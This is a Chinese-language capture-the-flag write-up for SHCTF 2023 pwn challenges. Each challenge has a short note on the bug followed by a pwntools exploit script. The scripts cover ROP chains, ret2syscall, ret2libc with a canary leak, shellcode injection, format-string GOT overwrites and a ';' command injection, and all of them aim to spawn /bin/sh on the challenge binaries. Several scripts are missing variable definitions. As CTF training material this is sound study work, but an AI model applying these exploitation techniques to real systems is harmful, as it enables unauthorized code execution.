Professional Documents
Culture Documents
SHCTF 2023 Writeup
SHCTF 2023 Writeup
SHCTF 2023 Writeup
nc, hard nc
nc 题就不写了。
showshowway
越界写。
口算题
写个循环来接收字符串后,进行识别和计算
四则计算器
使用 '\x00' 来截断,绕过对字符长度的限制,然后 ret2text
babystack
有 '/bin/sh\x00' 和 system_plt
def debug(content):
gdb.attach(p, content)
pause()
shell = 0x400858
pop_rdi_ret = 0x400833
system = 0x4005d0
payload = 'a'*(0x20+0x8)
payload += p64(pop_rdi_ret)
payload += p64(shell)
payload += p64(system)
p.sendline(payload)
p.interactive()
easy_shellcode
泄 old_ebp 后计算栈地址,然后打 ret2shellcode
def debug(content):
gdb.attach(p, content)
pause()
# debug('b *0x4011C3')
p.sendline('a'*0xf)
leak_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,"\x00"))
log.info('leak_addr: ' + hex(leak_addr))
'''
pwndbg> dist 0x7ffd22fdbc30 0x7ffd22fdbbb0
0x7ffd22fdbc30->0x7ffd22fdbbb0 is -0x80 bytes (-0x10 words)
'''
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x78, 'a')
payload += p64(buf_addr)
p.sendline(payload)
p.interactive()
pkmon
参数 v1 可控,任意地址写
def debug(content):
gdb.attach(p, content)
pause()
shell = 0x40072F
puts_got = 0x601018
# (0x6010A0-0x601018)/8=0X11=17
p.sendline('-17')
payload = p64(shell)
p.sendline(payload)
p.interactive()
ropchain
栈溢出,没有 '/bin/sh\x00' 字符串,但是有 system 函数,静态编译的,打法很多
def debug(content):
gdb.attach(p, content)
pause()
rop = ROP(elf)
rop.read(0, elf.bss(0x50), 0x10)
rop.execve(elf.bss(0x50), 0, 0)
# debug('b *0x401853')
payload = 'a'*(0x20 + 0x8)
# payload += rop.chain()
payload += str(rop)
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()
baby_rop
栈溢出,32 位,静态编译,没有 '/bin/sh\x00' 字符串,打 ret2syscall
def debug(content):
gdb.attach(p, content)
pause()
int_0x80 = 0x08049b62
eax = 0x080aa06a
edx_ecx_ebx = 0x08049941
# debug('b *0x0804992F')
payload = 'a'*(0x1c + 0x4)
payload += p32(0x0805CAF0)
payload += p32(edx_ecx_ebx)
payload += p32(0)
payload += p32(elf.bss(0x100))
payload += p32(0x10)
payload += p32(edx_ecx_ebx)
payload += p32(0) + p32(0) + p32(elf.bss(0x100))
payload += p32(eax)
payload += p32(0xb)
payload += p32(int_0x80)
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()
baby_rop2
栈溢出,64 位,静态编译,没有 '/bin/sh\x00' 字符串,打 ret2syscall
def debug(content):
gdb.attach(p, content)
pause()
rdi = 0x401d1d
rsi = 0x40a30d
rdx = 0x401858
rax = 0x419a1c
read = 0x4197C0
syscall = 0x401243
payload += p64(rdi)
payload += p64(elf.bss(0x100))
payload += p64(rsi)
payload += p64(0)
payload += p64(rdx)
payload += p64(0)
payload += p64(rax)
payload += p64(0x3b)
payload += p64(syscall)
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()
string
利用格式化字符串泄 libc ,然后利用格式化字符串打 got 表
def debug(content):
gdb.attach(p, content)
pause()
# debug('b *0x401283')
p.sendlineafter('choice:\n', '1')
#2.31-0ubuntu9.9 one_gadget
one_gadget = [0xe3afe,0xe3b01,0xe3b04]
backdoor = libc_base + one_gadget[1]
# debug('b *0x401244')
puts_got = 0x404018
p.sendlineafter('choice:\n', '1')
payload = fmtstr_payload(6, {puts_got: backdoor})
p.sendlineafter('message:\n', payload)
p.interactive()
猜数游戏
伪随机数预测,但是这题有小坑,首先是要计算预测的随机数的长度,这时注意一下这句代码
fgets(s, v3 - 1, stdin); ,其次因为他的长度限制,可能需要爆破几次
def debug(content):
gdb.attach(p, content)
pause()
# debug('b *$rebase(0x139E)')
seed = int(time.time())
elf.srand(seed)
guess_num = elf.rand()
guess_num_str = str(guess_num)
length_of_guess_num = len(guess_num_str)
length_of_guess_num = length_of_guess_num + 2 #???exinren
# debug('b *$rebase(0x1466)')
p.sendlineafter('number?\n', str(length_of_guess_num).encode())
p.sendline(guess_num_str.encode())
p.interactive()
要买些东西吗
32位的程序,格式化字符串泄 canary ,然后 ret2libc
def debug(content):
gdb.attach(p, content)
pause()
p.sendlineafter('choice:\n', '1')
payload = 'a'*(0x20)
p.sendlineafter('gift\n', payload)
p.recvuntil(payload)
canary = u32(p.recv(4))
canary = canary-ord('\n')
log.info("canary: " + hex(canary))
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
p.sendlineafter('choice:\n', '2')
payload = 'a'*(0x2c - 0xc)
payload += p32(canary)
payload += 'a'*(0xc)
payload += p32(puts_plt)
payload += p32(main_addr)
payload += p32(puts_got)
p.sendlineafter('power\n', payload)
puts_addr = u32(p.recv(4))
libc_base = puts_addr - libc.symbols['puts']
log.info('libc_base: ' + hex(libc_base))
p.sendlineafter('choice:\n', '2')
payload = 'a'*(0x2c - 0xc)
payload += p32(canary)
payload += 'a'*(0xc)
payload += p32(system_addr)
payload += p32(0)
payload += p32(binsh)
p.sendlineafter('power\n', payload)
p.interactive()
原始人,起动
字符串匹配后,任意指令执行,使用 ; 来闭合前面的语句,后面填入 /bin/sh\x00 ,注意将连续的四
个字节码转成十进制数后再发送
def debug(content):
gdb.attach(p, content)
pause()
def hex_to_decimal(hex_number):
decimal_number = str(int(hex_number))
return decimal_number
# debug('b *0x400777')
# debug('b *0x4007B0')
'''
pwndbg> x/20gx 0x601060
0x601060 <qidong>: 0x6e6568736e617579 0x21676e6f6469712c
0x601070 <qidong+16>: 0x0000000000000000 0x0000000000000000
'''
p.sendlineafter('Genshin\n', hex_to_decimal(0x6e617579))
p.sendline(hex_to_decimal(0x6e656873))
p.sendline(hex_to_decimal(0x6469712c))
p.sendline(hex_to_decimal(0x21676e6f))
p.sendline(hex_to_decimal(0x69622f3b)) # ib/;
p.sendline(hex_to_decimal(0x68732f6e)) # hs/n
p.sendline('\x00')
p.interactive()